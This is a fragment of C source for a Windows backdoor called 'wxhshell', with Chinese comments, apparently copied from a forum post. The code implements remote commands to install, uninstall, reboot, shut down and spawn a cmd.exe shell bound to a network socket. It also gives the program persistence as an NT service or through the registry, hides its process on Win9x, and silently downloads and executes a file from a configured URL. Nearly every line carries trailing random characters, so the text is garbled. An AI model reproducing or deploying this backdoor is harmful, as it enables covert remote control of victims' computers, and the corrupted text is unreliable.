  } `(?x@Y>.Ht  
  // 安装 ^LJ?GJ$g  
  case 'i': { F6\r"63  
    if(Install()) -YP>mwSN?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z(4Wuwb  
    else gEQevy`T%c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7U{g'<  
    break; sy.U] QG  
    } I@9k+JB   
  // 卸载 )t$|'c}  
  case 'r': { )x*pkE**c  
    if(Uninstall()) 3xz{[5<p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w/m ~#`a  
    else a uz2n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5UHxB"`C  
    break; kKg%[zXS  
    } Dx<CO1%z-  
  // 显示 wxhshell 所在路径 xlWTHn!j  
  case 'p': { ="*8ja-K  
    char svExeFile[MAX_PATH]; Skd,=r  
    strcpy(svExeFile,"\n\r"); t'0dyQ%u  
      strcat(svExeFile,ExeFile); tkGJ!aUt  
        send(wsh,svExeFile,strlen(svExeFile),0); ,:QDl  
    break; >HXmpu.O  
    } saaN$tU7  
  // 重启 !xxu~j^T  
  case 'b': { bqDHLoB\1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *@,>R6)jI  
    if(Boot(REBOOT)) ) Pdl[+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^J=l]  l  
    else { Dj9).lgc  
    closesocket(wsh); s$ 2@|;  
    ExitThread(0); $lMEZt8A  
    } s~(iB{-  
    break; *OQr:e<}  
    } ;9R;D,Gk!  
  // 关机 g.d%z  
  case 'd': { l;dZJ_Ut$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vuqm{bo^  
    if(Boot(SHUTDOWN)) >9.xFiq<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] 7, mo  
    else { $3Ct@}=n  
    closesocket(wsh); nVC:5ie  
    ExitThread(0); ~agzp`!M  
    } 3S'juHT e  
    break; |E)Es!dr  
    } lll]FJ1  
  // 获取shell =U5lPsiv,3  
  case 's': { ='0f#>0Q  
    CmdShell(wsh); t4H@ZvAH0  
    closesocket(wsh); )k8=< =s  
    ExitThread(0); 6"Km E}  
    break; 0UmKS\P  
  } l ^*GqP5  
  // 退出 pCQB<6&1N  
  case 'x': { Uk02VuS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vRLkz4z   
    CloseIt(wsh); Xh/i5}5 t  
    break; [*j C  
    } iTt"Ik'  
  // 离开 _ G!lQ)1  
  case 'q': { D@i,dPz5Zl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Y%)&  
    closesocket(wsh); QJ`#&QRp  
    WSACleanup(); bN$!G9I!,  
    exit(1); aPq9^S*  
    break; n2Oi< )  
        } Vs~^r>  
  } .-;K$'YG  
  } 4'W|'4'b  
L)'JkX J  
  // 提示信息 .[hQ#3)W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~a[]4\ m;  
} {6v|d{V+e  
  } "msCiqF{z  
sD$ \!7:b  
  return; \#[W8k<Z  
} 8x jJ  
~y}M GUEC  
// shell模块句柄 <R7* 00  
int CmdShell(SOCKET sock) {}?s0U$5  
{ TR,,=3n  
STARTUPINFO si; (XJehdB0  
ZeroMemory(&si,sizeof(si)); z0Vd(QL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . *>LD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :<=!v5 SK  
PROCESS_INFORMATION ProcessInfo; +(5H$O{h  
char cmdline[]="cmd"; ?#xNz=V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Eo\# *Cv*  
  return 0; hi>Ii2T  
} ^Ois]#py  
GBvB0kC)c  
// 自身启动模式 (| Am  
int StartFromService(void) lph3"a^  
{ v@;:aN  
typedef struct p 8BAan3  
{ 7Nc@7_=  
  DWORD ExitStatus; Q;{yIa$ $  
  DWORD PebBaseAddress; mSAuS)YD  
  DWORD AffinityMask; !&TbE@Xk  
  DWORD BasePriority; &-+qB >SK>  
  ULONG UniqueProcessId; qFW- ~T  
  ULONG InheritedFromUniqueProcessId; R! ?8F4G  
}   PROCESS_BASIC_INFORMATION; z.eqOPW  
f3U#|(%(*  
PROCNTQSIP NtQueryInformationProcess; ?V#%^ 57p  
!,Wd$U K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zzuDI_,/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; je.jui"  
rx'},[b]3  
  HANDLE             hProcess; e%N\Pshgv  
  PROCESS_BASIC_INFORMATION pbi; 4pkc9\  
|Wj)kr !|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "*#$$e53A  
  if(NULL == hInst ) return 0; N7%Jy?-+  
GC H= X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g8mVjM\B;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y<k-dbr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7'j?GzaQ+  
q#I/N$F  
  if (!NtQueryInformationProcess) return 0; iBxCk^  
a<sE dp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jfl7L"2  
  if(!hProcess) return 0; Kom$i<O?48  
B8Jev\_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o&g=Z4jj<  
 ;e()|  
  CloseHandle(hProcess); d#I'9O0&  
H0 km*5Sn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kJ>l, AD/  
if(hProcess==NULL) return 0; *f.eyg#  
-n!.PsGO>  
HMODULE hMod; Pp:(PoH  
char procName[255]; I5F oh|)  
unsigned long cbNeeded; Hm`9M.5b  
f&H):.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,y,NVF  
&B#HgWud  
  CloseHandle(hProcess); SYB } e  
9Z6] ];8E  
if(strstr(procName,"services")) return 1; // 以服务启动 WUGPi'x  
g$?B!!qT  
  return 0; // 注册表启动 X82sw>Y  
} !V Zl<|  
/81Ux@,(e  
// 主模块 Z5[ t/  
int StartWxhshell(LPSTR lpCmdLine) 9HRYk13ae  
{ E0>4Q\n{  
  SOCKET wsl; "Hg.pDNZ  
BOOL val=TRUE; 5ts8o&|   
  int port=0; {]] nQ  
  struct sockaddr_in door; ^] Lr_k  
:"3WCB  
  if(wscfg.ws_autoins) Install(); -}MWA>an8  
6fY(u7m|p  
port=atoi(lpCmdLine); @&S4j]rq  
%$Wt"~WE"O  
if(port<=0) port=wscfg.ws_port; 1*[h$Z&H?  
IJs*zzR  
  WSADATA data; NV9D;g$Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cA`R~o"  
|M[E^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /+"BU-aQk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mm :6+  
  door.sin_family = AF_INET; #|GP]`YT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g>_6O[;t%  
  door.sin_port = htons(port); &rorBD 5aj  
d&(GIH E&d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L<J';#BD  
closesocket(wsl); VDx=Tsu-  
return 1; Dvo.yn|kB  
} \Z ] <L  
+AtZltM i  
  if(listen(wsl,2) == INVALID_SOCKET) { vE>J@g2#  
closesocket(wsl); Ua,Lg.z  
return 1; H-nk\ K<|  
} E&#AX:  
  Wxhshell(wsl); pTST\0?  
  WSACleanup(); iPa!pg4m  
s59v* /  
return 0; d@b"tb}R  
UVUbxFq:  
} G=jdb@V/?  
Vu*yEF}  
// 以NT服务方式启动 E O52 E|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M9_ y>N[0  
{ z/.x*A=  
DWORD   status = 0; `D>PU@s$nT  
  DWORD   specificError = 0xfffffff; /wljb b/s  
gkI(B2,/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &[3 xpi{v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R KFz6t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e/6WhFN #  
  serviceStatus.dwWin32ExitCode     = 0; ipQJn_:2  
  serviceStatus.dwServiceSpecificExitCode = 0; d?oupW}uu  
  serviceStatus.dwCheckPoint       = 0; ?NGM<nK;7  
  serviceStatus.dwWaitHint       = 0; !qV{OXdrB  
=IkQ;L&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rG:IS=  
  if (hServiceStatusHandle==0) return; WQ\'z?P  
Gk;==~  
status = GetLastError(); VSx[{yn  
  if (status!=NO_ERROR) X{| 1E85fl  
{ \wCj$- ;Jt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J|W~\(W6i  
    serviceStatus.dwCheckPoint       = 0; K,&)\r kzD  
    serviceStatus.dwWaitHint       = 0; 6Hi3h{  
    serviceStatus.dwWin32ExitCode     = status; mv/'H^"[_  
    serviceStatus.dwServiceSpecificExitCode = specificError; I?G m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mEa\0oPGB  
    return; UAFl+d!  
  } =W.b7 6_  
I+kGEHO}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]!d #2(  
  serviceStatus.dwCheckPoint       = 0; 0vbn!<:  
  serviceStatus.dwWaitHint       = 0; R56:}<Y,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uq<c+4)5  
} AY5%<CWj8  
EFW'D=&h8  
// 处理NT服务事件,比如:启动、停止 R 3TdQ6j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gGxgU$`#c  
{ T\:Vu{|  
switch(fdwControl) !>TVDN>  
{ Wrf('  
case SERVICE_CONTROL_STOP: *NS:X7p!V  
  serviceStatus.dwWin32ExitCode = 0; XpJT/&4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O]DZb+O"  
  serviceStatus.dwCheckPoint   = 0; fJBp,{0  
  serviceStatus.dwWaitHint     = 0; cgNK67"(  
  { R+Dx#Wn I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /csj(8^w  
  } Z*tB=  
  return; z2vrV?:  
case SERVICE_CONTROL_PAUSE: [w' Y3U\ i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \hai  
  break; &W`."  
case SERVICE_CONTROL_CONTINUE: vR.=o*!%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '`p#%I@  
  break; "-C.gqoB  
case SERVICE_CONTROL_INTERROGATE: $ jWe!]ASU  
  break; 5 < wIJ5t  
}; y2;uG2IS_g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -"Wp L2qD  
} ?){V7<'?y  
~ OD}`  
// 标准应用程序主函数 bgq/]fI}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) es 8%JTi  
{ cK%Sty'8+  
)D\!#<#h  
// 获取操作系统版本 HJ?p,V q5_  
OsIsNt=GetOsVer(); 8fRk8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pyhC%EZU  
2kzm(K  
  // 从命令行安装 JnQ5r>!>3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZjF5*A8l  
fQ33J>  
  // 下载执行文件 w/BaaF.0  
if(wscfg.ws_downexe) { R8O; 8c?D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [vh&o-6  
  WinExec(wscfg.ws_filenam,SW_HIDE); }G}2Y (  
} MKzIY:u g  
4WU%K`jnXb  
if(!OsIsNt) { J:LwO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Teh _  
HideProc(); ~iI4v#0  
StartWxhshell(lpCmdLine); @'>h P  
} t1"-3afe  
else f|Dq#(^\  
  if(StartFromService()) 8 :B(}Y4K  
  // 以服务方式启动 V| 9<*  
  StartServiceCtrlDispatcher(DispatchTable); KnK8\p88\  
else :Rl*64}  
  // 普通方式启动 {WJ9!pA!lk  
  StartWxhshell(lpCmdLine); 'b(V8x  
|rW,:&;  
return 0; h[H FZv~{  
}
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只看该作者 1 发表于: 2006-10-10
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